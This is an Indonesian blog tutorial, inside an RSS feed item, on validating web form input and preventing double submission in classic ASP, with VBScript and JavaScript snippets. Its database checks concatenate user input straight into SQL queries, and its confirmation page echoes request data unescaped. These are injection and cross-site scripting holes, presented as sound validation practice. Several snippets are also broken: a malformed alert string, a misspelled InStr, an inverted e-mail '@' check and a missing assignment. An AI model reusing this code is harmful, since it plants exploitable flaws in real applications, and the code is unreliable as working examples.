		<description><![CDATA[Oleh: Andi Sunyoto Abstraksi Apa yang terjadi jika pada halaman form Anda ada kesalahan pemasukan data atau pengiriman berulang oleh user ke server ? Jika itu adalah masalah Anda maka validasi form adalah jawabannya. Dengan adanya validasi data yang di kirim ke server kita cek dulu kebenarannya. Kata Kunci: validasi, form, web, klient, server Pendahuluan [...]]]></description>
			<content:encoded><![CDATA[<p>Oleh: Andi Sunyoto</p>
<h2>Abstraksi</h2>
<p>Apa yang terjadi jika pada halaman <em>form</em> Anda ada kesalahan pemasukan data atau pengiriman berulang oleh <em>user</em> ke <em>server </em>? Jika itu adalah masalah Anda maka validasi <em>form </em>adalah jawabannya. Dengan adanya validasi data yang di kirim ke <em>server </em>kita cek dulu kebenarannya.</p>
<p><strong>Kata Kunci: </strong>validasi, form, web, klient, server</p>
<h2>Pendahuluan</h2>
<p>Validasi merupakan proses pengecekan masukan yang dari sebuah <em>form </em>sebelum data tersebut diterima dan diolah untuk keperluan selanjutnya. Hal tersebut dilakukan agar tidak terjadi kesalahan proses karena input tidak sesuai yang tipe data yang dinginkan, inkonsistensi data dan duplikasi data.</p>
<p>Sebelum kita membahas tentang Validasi lebih jauh kita akan membahas dua teknik dalam menulis skrip dalam pemrograman internet yaitu, <em>Server-side</em> dan <em>Client Side</em></p>
<p>Yang membedakan antara kedua adalah tempat dimana skrip diproses. Pada <em>side server,</em> proses dilakukan di <em>web server</em>, sedangkan klien <em>(web browser)</em> hanya menerima hasil dalam bentuk HTML. Contoh skrip <em>server side</em> adalah CGI/Perl, Active Server Pages (ASP) dan Java Server Pages (JSP). Pada <em>client side</em> proses dilakukan di <em>web browser</em>. <em>Client side</em> biasanya banyak digunakan untuk hal-hal yang membutuhkan banyak interaktif user dan menggunakan jenis informasi yang pasti dan seragam. Contoh skrip Client Side adalah JavaScript, DHTML.</p>
<p>Walaupun seakan-akan keduanya kontradiksi, tapi mereka saling melengkapi. Di sini pihak programmer dituntut untuk bisa menentukan kapan mereka menggunakan <em>server side,</em> <em>client side</em> atau kapan menggabungnya. <em>Server side</em> biasanya digunakan untuk memproses segala sesuatu yang berhubungan dengan server, seperti environmental dari server, memanipulasi data dalam database.</p>
<p>Pada pembahasan kali ini kita akan membahas validasi diaplikasi berbasis Web <em>(Web Base Aplication)</em>. Skrip yang menjadi acuan adalah ASP( Active Server Pages) yang selanjutnya penulis sebut ASP. Hal yang penting untuk Web developer adalah mengedepankan dan memprediksi apa yang akan dilakukan oleh user dana apakah mereka merasa sulit dengan aplikasi kita. Jika Anda pernah membuat aplikasi dengan ASP yang menggunakan form, dan ada user mengirim response ada keganjilan terjadi: data terkirim dua kali, data tidak komplit atau user melaporakan form tidak tertampil secara baik. Pada tulisan ini kita akan membahas masalah-masalh tentang validasi.</p>
<p><span id="more-127"></span></p>
<h2>Pembahasan</h2>
<h2>a. Validasi <em>TextBox</em> masukan</h2>
<p>Validasi ini mengecek nilai yang kita inputkan pada sebuah <em>form </em>masukan.</p>
<ol>
<li>Validasi      cek data pada <em>form </em>kosong atau tidak</li>
<li>Validasi      tipe data yang diminta sama atau tidak</li>
<li>Validasi      spesial karakter.</li>
<li>Validasi      range</li>
</ol>
<h2>b. Validasi proses database</h2>
<ol>
<li>Validasi      untuk pemasukan dalam database.</li>
<li>Validasi      data dalam database harus isi atau tidak</li>
<li>Validasi      penghapusan dan pengeditan data yang ensyaratkan data harus ada</li>
</ol>
<h2>c. Validasi pengiriman berulang pada Halaman Web</h2>
<h2>Proses Validasi</h2>
<p>Validasi yang tersebut diatas dapat dilakukan Server dan klien.</p>
<p>Kelebihan dan kelemahan proses.</p>
<p><strong>1. Proses      di server (<em>Server Side)</em></strong></p>
<p>Kelebihan terdapat kepastian proses validasi akan dilaksanakan karena proses server tidak tergantung pada browser yang dipakai. Dapat melakukan validasi proses yang pada <em>Aplication Layer</em> (<em>Web Server</em>) dan <em>Database Layer</em>.</p>
<p>Kelemahan pada proses ini memerlukan waktu yang lama karena data harus dikirim ke server terlebih dulu dan di kirim kon kembali konfirmasinya ke browser</p>
<p><strong>2. Proses      Klien (<em>Client Side</em>)</strong></p>
<p>Kelebihan proses di klien adalah proses yang tergolong lebih cepat di banding proses di server. Karena program di eksekusi di client.</p>
<p>Kelemahannya adalah tidak bisa validasi sampai proses database hanya proses pada <em>presentation layer.</em>.</p>
<p><strong> </strong></p>
<p><strong>Solusi Validasi</strong></p>
<p><strong>a. Validasi Text Box</strong></p>
<p>Pada validasi ini sebagian bisa kita lakukan dengan dua model yang itu validasi di klien dan <em>server</em>.<strong> </strong></p>
<p><strong>1. Cek      data isi atau tidak</strong></p>
<p>Proses ini dapat dilakukan di klien maupun di server. Contoh kode programnya:</p>
<p>Proses diserver dengan ASP.</p>
<pre>&lt;%
nim = request(“data”)
If nim = “” Then
. . . ‘tampilkan pesan data belum diisi
Else
. . . ‘proses selanjutnya valid
End If
%&gt;</pre>
<p>Proses di klien dengan bahasa pemrograman JavaScript.</p>
<pre>&lt;Script language="javascript"&gt;
&lt;!-- Begin
function periksa(frm){
 var err = "";
 if (frm.data.value.length&lt;1)err+="- Data Belum Diisi !\n";
 if (err!=""){alert(\n"+err\n" + “Silakan
 &lt;b&gt;Anda &lt;/b&gt; Cek Lagi !");
 window.event.returnValue = false;
 return (false);
 }else {
 frm.submit();}
}
// End --&gt;
&lt;/script&gt;

&lt;Html&gt;
 &lt;Head&gt;&lt;/Head&gt;
 &lt;Body&gt;
 &lt;input type="submit" value="TAMBAH"
 &lt;name="action" onclick="periksa(this.form)"&gt;
&lt;/Body&gt;
&lt;/Html&gt;</pre>
<p>2.<strong> Validasi      tipe data yang diminta sama atau tidak</strong></p>
<p>Masukan dari <em>user </em>sering ada kesalahan sebagai contoh untuk mengisi jumlah haruslah tipe data <em>Numeric</em>. Berikut contoh kode program untuk mengecek masukan apakah bertipe <em>Numeric</em>.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
If IsNumeric(Request("jumlah")) Then
... 'proses selanjutnya
Else
... 'pesan salah data bukan numeric
End If
%&gt;</pre>
<p>3.<strong> Validasi      spesial karakter</strong></p>
<p>Validasi ini memungkinkan mengecek apakah dalam suatu masukan ada karakter tertentu yang dinginkan. Sebagai contoh sederhana adalah masukan berupa alamat e-mail yang membutuhkan tanda “@”. Berikut contoh programnya.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
datacek = Request("data")
If IntStr(1,datacek,"@") = 0 Then
. . . 'proses validasi benar
Else
. . . 'pesan salah
End If
%&gt;</pre>
<p>4.  <strong>Validasi      data dengan range tertentu.</strong></p>
<p>Misalnya dalam stok data yang dimasukkan harus &gt;=0.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
stok = Request(“data”)
If stok &lt; 0 Then
. . . ‘pesan data yang dimasukkan salah
Else
. . . ‘proses jika validasi benar
End If
%&gt;</pre>
<h2><strong>d. Validasi pada database</strong></h2>
<p>Untuk bisa melakukan validasi database request dari klien harus di kirim ke server diolah dan kemudian respon dikirim kembali ke klien.<strong> </strong></p>
<p><strong>1. Validasi      untuk pemasukan dalam database.</strong></p>
<p>Validasi ini untuk menghindari adanya duplikasi data dalam sebuah database.</p>
<p>Berikut potongan kode program untuk validasi dengan ASP.</p>
<pre>&lt;%
. . .
sql = “select * from mhs where nim=’” &amp; txtnim &amp; “’”
Set rs = conn.execute(sql)
If rs.eof Then
. . .’data belum ada proses selanjutnya
Else
. . .’pesan data sudah ada
End If
%&gt;</pre>
<p>2.  <strong>Validasi      data dalam database harus isi atau tidak</strong></p>
<p>Validasi ini bisa kita gabung dengan validasi yang jalan di klien, dengan cek form telah diisi atau belum.</p>
<p>3.  <strong>Validasi      penghapusan dan pengeditan data yang ensyaratkan data harus ada.</strong></p>
<p>Pada proses penghapusan dan edit data data harus sudah ada dalam database. Berikut contoh program denagn ASP.</p>
<pre>&lt;%
. . .
sql = “select * from mhs where nim=’” &amp; txtnim &amp; “’”
Set rs = conn.execute(sql)
If rs.eof Then
. . .’data tidak ada
Else
. . .’proses jika validasi benar
End If
%&gt;</pre>
<h2>c. Validasi duplikasi pengiriman data</h2>
<p>Secara kebetulan pengiriman data berulang sering terjadi, dan itu akan menimbulkan masalah untuk pengoahan data selanjutnya. Idealnya user asuk ke form dalam sebuah Web site, mengisi <em>form </em>yang telah disediakan dan klik men-<em>submit </em>ke server untuk diproses di server dan mengirim kembali ke user sebagai konfirmasi dari respon yang dikirimnya.</p>
<p>Bagaimana jika user klik tombol <em>Back</em> pada <em>Browser </em>dan tanpa disengaja mengirim data yang sama ? Jika anda tidak mengantisipasi hal tersebut data akan dikirim dan diolah diserver berulang. Untuk mengantisipasi kesalahan terkirim dua kali ke server, Anda dapat memuat validasi cek dengan server side untuk memastikan bahwa user mengetahui dia mengirim data dua kali.</p>
<p>Cara yang pertama adalh untuk memastikan user tidak mengirim informasi yang sama dua kali, kita memerlukan indikasi bahwa data sudah diterima olah server. Cara yang tepat adalah kita menggunakan <em>session variabel</em>. Anda dapat mendefinisikan variabel session dengan Session(“submiited”) diinisialisasi False untuk pertama kali dan pernyataan True jika user sudah mengirim datanya. Pesan ketika data dikirim dua kali.</p>
<p>Halaman ASP yang untuk membuat form dan mencek data yang sudah terkirim (form.asp) Potongan kode program untuk situasi ini adalh sebagi berikut sebagai berikut:</p>
<pre>...
&lt;% If Session(“submitted”) Then %&gt;
&lt;!—- ada pesan warning --&gt;
...
&lt;% Else %&gt;
&lt;-- kode menampilkan form --&gt;
...
&lt;% End If %&gt;
...</pre>
<p>Di halaman yang menerima pesan kode program adalah sebagi berikut:</p>
<p>Anda mengirim informasi:</p>
<pre>&lt;p&gt;
&lt;%=request(“data”)%&gt;
&lt;%Session(“submitted”) = True%&gt;</pre>
<p>Cara kedua jika form memerlukan banyak data sebagai masukan lebih baik anda memotong untuk kerperluan menjadi form yang lebih kecil, yang mamandu user memulai sesuatu langkah demi langkah tanpa harus menunggu lama untuk meload <em>control</em> atau halaman pengisian yang banyak. Lebih dari itu jika ada data yang tidak perlu dimasukkan maka tidak usah ditampilkan, misalnya tanggal sekarang , jam sekarang, karena bisa siambil dari server.</p>
<p>Untuk mencegah masalah tersebut, anda dapat meset status data yang dimasukkan. Status dapat menggunakan <em>session variabel </em>apakah record tersebut sudah dimasukkan user atau belum.</p>
<p>Ini bisa menggunakan <em>Session</em> bertipe <em>Boolean </em>untuk masing-masing <em>form</em> dalam <em>multi-step form</em>. Variabel bernilai False jika diasosiasikan form belum diproses dan True adalah sebaliknya.</p>
<p>Contoh kedua tentang aplikasi untuk download biasanya dibagi menjadi dua langkah yaitu: <em>form </em>pertama memmerlukan konfirmasi <em>username</em> dan form kedua menampilkan ComboBox berisi daftar item tergantung user yang disediakan.</p>
<p>Form pertama mempunyai session variabel requested1, dan requested2 untuk form yang kedua. Ketika user mengirim form pertama (form1.asp) session variabel requested1 diset dengan True:</p>
<pre>&lt;Form Method=”post” Action=”form2.asp”&gt;
Your Name:
&lt;Input Type=”text” Name=”name”&gt;
&lt;p&gt;
&lt;Input Type=”submit” Value=”Submit”&gt;
&lt;Input Type=”reset” Value=”Cancel”&gt;
&lt;/Form&gt;
&lt;%
Session(“requested1”)=True
%&gt;</pre>
<p>Ini akan mencek dan memutuskan apakah masukan sudah cukup atau belum. Tentu saja, ketika user sebelum user masuk ke request yang kedua (form2.asp) harus cek dulu form ayng dikirim pada form sebelumnya.</p>
<p>Jika reques pada form1.asp True, form kedua akan di kirim ke browser dan session veriabel requesed2 di set True. Nilai False pada session variabel berarti <em>user</em> mencoba mengakses langsung ke form yang kedua, sehingga browser langsung dipindahkan ke form pertama.</p>
<p>Kode program untuk form yang kedua adalah sebagai berikut:</p>
<pre>&lt;% If Session(“requested1”) Then %&gt;
&lt;Html&gt;
&lt;Head&gt;
&lt;/Head&gt;
&lt;Body&gt;
. . . ‘kode program untuk form kedua
&lt;% Session(“requested2”) True
Else
Response.Redirect “form1.asp”
End If %&gt;
&lt;/Body&gt;
&lt;/Html&gt;</pre>
<p>Catatan, tes pada variabel session requested1 harus dilaksanakan sebelum Tag &lt;Html&gt; untuk mengijinkan kemungkinan redirect. Dalam kenyataan bahwa redirect adalah instruksi browser dan hal tersebut tampak pada HTTP header sebelum kode HTML.</p>
<h2>Kesimpulan</h2>
<p>Teknik validasi merupakan upaya agar data yang dimasukkan sesuai dengan keinginan programmer, agar pengolahan selanjutnya tidak terjadi masalah. Teknik-teknik diatas untuk situasi tertentu. Masing-masing teknik menyelesaikan satu masalah yang spesifik, sehingga masalah kemungkinan digabung juga ada, dan mungkin kita tidak hanya menggunakan dua Session Variabel tapi bisa lebih. Teknik menggabungkan pengecekan di server dan di klien adalah yang terbaik, karena untuk bisa menutupi kelemahan masing-masing teknik.</p>
<h2><strong>Daftar Pustaka</strong></h2>
<ul>
<li>Alex, Homer. Sussman, Dave. Francis, Brian. 1999. Profesional Active Server Pages 3.0. Wrox Press Ltd.</li>
<li>www.asptoday.com</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

